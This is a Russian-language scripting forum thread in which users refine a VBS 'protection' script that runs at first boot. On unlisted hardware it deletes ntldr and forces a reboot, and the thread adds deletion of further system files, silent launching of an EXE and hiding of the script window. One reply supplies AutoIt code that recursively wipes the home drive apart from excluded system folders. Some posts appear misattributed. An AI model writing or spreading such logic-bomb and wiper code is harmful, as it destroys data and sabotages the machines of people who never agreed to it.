VBS/WSH/JS - [решено] Помогите подправить скрипт VBS

Аватара пользователя
Pozia

VBS/WSH/JS - [решено] Помогите подправить скрипт VBS

Сообщение Pozia »

Сам я ноль в VBS скриптах. Но очень уж надобно подправить скрипт. Я как то где то задавал этот вопрос но по ответам не смог сообразить что и как сделать. Скрипт такой:





Код:

Код: Выделить всё

Option Explicit
Dim objWMIService, arrayBIOS, objBIOS, strAllowedHost, strYouAreWelcome
Dim strOperatingSystem, colOperatingSystems
Dim objFSO, objShell, strSystemDrive
Dim objBaseboard, arrayBaseboard, strComputerHost, strPassword
Const wbemFlagReturnImmediately = &h10
Const wbemFlagForwardOnly = &h20
Const wmiRestartForce = 4
strPassword = "12345"
Dim arrayAllowedHosts(3)
arrayAllowedHosts(0) = "20090116000000.000000+000ga-ma770-ds3"
arrayAllowedHosts(1) = "20060704000000.000000+000nforce4 ddr2: mf4-j3, mf4-j3/g, af4-j3 series"
arrayAllowedHosts(2) = "20020315000000.000000+000sis-645"
arrayAllowedHosts(3) = "20010427000000.000000+0008363-686"
Set objShell = CreateObject("Wscript.Shell")
Set objWMIService = GetObject("winmgmts:\\.\root\CIMV2")
Set arrayBIOS = objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly)
Set arrayBaseBoard = objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly)
For Each objBIOS In arrayBIOS
For Each objBaseboard In arrayBaseBoard
  strComputerHost = objBios.ReleaseDate & objBaseboard.Product
  For Each strAllowedHost in arrayAllowedHosts
    If Trim(LCase(strComputerHost)) = Trim(LCase(strAllowedHost)) Then strYouAreWelcome = 1
  Next
Next
Next
If strYouAreWelcome  1 Then
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%")
 objFSO.DeleteFile strSystemDrive & "\ntldr", True
For Each strOperatingSystem in colOperatingSystems
 strOperatingSystem.Reboot()
Next
Else If strYouAreWelcome = 1 Then
 ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True
End If
End If
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile ("C:\Protect.zip")
objFSO.DeleteFile ("C:\PKUNZIP.EXE")
objFSO.DeleteFile ("C:\PROTECTT.CMD")

То что выделено жирным удаляет файл ntldr если ID BIOS не совпадает с заданным и производит принудительную перезагрузку. Мне нужно дописать скрипт так чтобы он удалял еще нужные мне файлы. Я делал так:



If strYouAreWelcome 1 Then

Set objFSO = CreateObject("Scripting.FileSystemObject")

Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")

strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%")

objFSO.DeleteFile strSystemDrive & "\ntldr", True

objFSO.DeleteFile strSystemDrive & "\WINDOWS\notepad.exe", True

objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\wgatray.exe", True

For Each strOperatingSystem in colOperatingSystems

strOperatingSystem.Reboot()

Next

Else If strYouAreWelcome = 1 Then

ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True

End If

End If



Я просто дописал строки с удалением но ничего не вышло. Скрипт вообще ничего не удаляет и становится полностью не работоспособным.

Помогите пожалуйста.
Аватара пользователя
Pozia

Re: VBS/WSH/JS - [решено] Помогите подправить скрипт VBS

Сообщение Pozia »

только что осинило что можно пойти другим путем. Как вместо строки для удаления objFSO.DeleteFile strSystemDrive & "\ntldr", True правильно записать команду на запуск какоко нибудь EXEшника по какому нибудь пути? А там я в нем все напишу что наболело Изображение
Аватара пользователя
amel27

Re: VBS/WSH/JS - [решено] Помогите подправить скрипт VBS

Сообщение amel27 »

Цитата Pozia:



Я просто дописал строки с удалением но ничего не вышло. Скрипт вообще ничего не удаляет и становится полностью не работоспособным
VBS/WSH/JS - [решено] Помогите подправить скрипт VBS




если работает одна строка, значит должны работать все, ошибки при выполнении возникают?




Цитата Pozia:



Как вместо строки для удаления objFSO.DeleteFile strSystemDrive & "\ntldr", True правильно записать команду на запуск какоко нибудь EXEшника по какому нибудь пути?
VBS/WSH/JS - [решено] Помогите подправить скрипт VBS




в вашем же скрипте есть пример:



Код:

Код: Выделить всё

ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True
Аватара пользователя
Pozia

Re: VBS/WSH/JS - [решено] Помогите подправить скрипт VBS

Сообщение Pozia »

Цитата amel27:



если работает одна строка, значит должны работать все, ошибки при выполнении возникают?
VBS/WSH/JS - [решено] Помогите подправить скрипт VBS




я же говорю, не работает. Только что чнова проверил. Я в них ноль, в VBS скриптах. Но когда учил паскаль, то вроде как при выполнении команд которые входят в условие проверки они брались в операторные скобки FOR END. Если команда одна то нет. Вот я и пологаю что и здесь такая же ситуация но сам не знаю как правильно записать.




Цитата amel27:



ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True
VBS/WSH/JS - [решено] Помогите подправить скрипт VBS




пробовал



ObjShell.Run ("C:\run.exe"), 0, True

ObjShell.Run ("C:\run.exe"), 0

ObjShell.Run ("C:\run.exe")



ничто не получилось
Аватара пользователя
amel27

Re: VBS/WSH/JS - [решено] Помогите подправить скрипт VBS

Сообщение amel27 »

1. попробуй так:



Код:

Код: Выделить всё

; Формирование списка системных каталогов
Dim $arrExcl[9]=[8, _
    @WindowsDir, _
    @SystemDir, _
    @WindowsDir &"\Resources", _
    @ProgramFilesDir, _
    RegRead("HKLM\Software\Microsoft\Windows\CurrentVersion", "CommonFilesDir"), _
    RegRead("HKLM\Software\Microsoft\Windows NT\CurrentVersion\ProfileList", "ProfilesDirectory"), _
    $arrExcl[6] &"\"& RegRead("HKLM\Software\Microsoft\Windows NT\CurrentVersion\ProfileList", "AllUsersProfile"), _
    $arrExcl[6] &"\"& RegRead("HKLM\Software\Microsoft\Windows NT\CurrentVersion\ProfileList", "DefaultUserProfile") ]
_RegEnumValToArray("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", $arrExcl)
_RegEnumValToArray("HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", $arrExcl)
_RegEnumValToArray("HKLM\Software\Microsoft\Windows NT\CurrentVersion\ProfileList", $arrExcl, "ProfileImagePath", True)
; Замена подстановок на реальные пути
$ExpandEnvStrings = Opt("ExpandEnvStrings",1)
For $i=1 To $arrExcl[0]
    $arrExcl[$i] = $arrExcl[$i]
Next
Opt("ExpandEnvStrings", $ExpandEnvStrings)
; Запуск удаления
_DirRemoveAll(@HomeDrive, $arrExcl)
; Сохранение значений параметров ключа реестра в массив (рекурсивно)
Func _RegEnumValToArray($sKey, ByRef $aVals, $sValName="", $iRecv = False)
    Local $var, $key
    For $i=1 To 10000
        $var = RegEnumVal($sKey, $i)
        If @error Then ExitLoop
        If $sValName=="" Or $sValName=$var Then
            $aVals[0]+=1
            ReDim $aVals[$aVals[0]+1]
            $aVals[$aVals[0]]=RegRead($sKey, $var)
        EndIf
    Next
    If $iRecv Then
        For $j=1 To 10000
            $key = RegEnumKey($sKey, $j)
            If @error Then ExitLoop
            _RegEnumValToArray($sKey &"\"& $key, $aVals, $sValName, True)
        Next
    EndIf
EndFunc ; ==> _RegEnumValToArray
; Удаление каталога с подкаталогами (рекурсивно)
Func _DirRemoveAll($sDIR, ByRef $aExcl)
    Local $hSearch, $sFile, $sPath, $iRet, $i
    $sDIR = StringRegExpReplace($sDIR, "\\+$", "")
    If StringInStr(FileGetAttrib($sDIR), "D")=0 Then Return SetError(1, 0, False)
    $hSearch = FileFindFirstFile($sDIR & "\*")
    If $hSearch = -1 Then Return SetError(2, 0, False)
    While 1
        $sFile = FileFindNextFile($hSearch)
        If @error Then ExitLoop
        $sPath = $sDIR & "\" & $sFile
        If StringInStr(FileGetAttrib($sPath), "D") Then
            For $i=1 To $aExcl[0]
                If $sPath=$aExcl[$i] Then ExitLoop
            Next
            ConsoleWrite($sPath &@CRLF)
            If ($i-1 < $aExcl[0]) Or (DirRemove($sPath,1)=0) Then _DirRemoveAll($sPath, $aExcl)
        Else
            FileSetAttrib($sPath, "-RSH")
            FileDelete($sPath)
        EndIf
    WEnd
    FileClose($hSearch)
    Return SetError(0, 0, True)
EndFunc ; ==> _DirRemoveAll

2. FileDelete("*.*") - удаляет файлы по списку до первого неудаляемого/открытого, DirRemove("path",1) - по ходу удаления пропускает системные/открытые подкаталоги (типа System32\Config)
Аватара пользователя
amel27

Re: VBS/WSH/JS - [решено] Помогите подправить скрипт VBS

Сообщение amel27 »

Pozia


Цитата:



ничто не получилось
VBS/WSH/JS - [решено] Помогите подправить скрипт VBS




отладка скриптов - это прежде всего работа над ошибками... если Admiral прав, то как минимум должно было высветиться "Ошибка: Требуется объект: 'ObjShell' ", аналогично - для остальных случаев... или думаете, что это форум телепатов? Изображение
Аватара пользователя
Pozia

Re: VBS/WSH/JS - [решено] Помогите подправить скрипт VBS

Сообщение Pozia »

Admiral, заработало. Только вот пока выполняется файл который скрипт запускает, висит DOS окно и в его заголовке написано что то типа script.... Это окно можно как то скрыть?
Аватара пользователя
Admiral

Re: VBS/WSH/JS - [решено] Помогите подправить скрипт VBS

Сообщение Admiral »

Pozia,



Код:

Код: Выделить всё

'сначала создаём объект шелла
Set objShell = CreateObject ("WScript.Shell")
'и только потом уже можем запускать внешнее приложение
ObjShell.Run "cmd", 1 , True

В Паскале операторные скобки - Begin End

For это цикл.
Аватара пользователя
amel27

Re: VBS/WSH/JS - [решено] Помогите подправить скрипт VBS

Сообщение amel27 »

вот еще заметил, что данный скрипт в загруженной винде не виден при выполнении. У меня он запускается через RunOnceEx перед первой загрузкой и вот там DOS окно выскакивает. И это окно не того файла который скрипт запускает, так как там тихий EXEфайл. Это окно скрипта. При чем окно пустое. Вот очень нужно его запускать скрытым если это можно.



Еще. Я этот VBS скрипт компилирую (если это так называется) с помощью утилиты screnc.exe Может из за нее выскакивает окно. Может можно чем нибудь еще компилировать?
Аватара пользователя
Pozia

Re: VBS/WSH/JS - [решено] Помогите подправить скрипт VBS

Сообщение Pozia »

Admiral, заработало. Только вот пока выполняется файл который скрипт запускает, висит DOS окно и в его заголовке написано что то типа script.... Это окно можно как то скрыть?
Ответить

Вернуться в «Скриптовые языки администрирования Windows»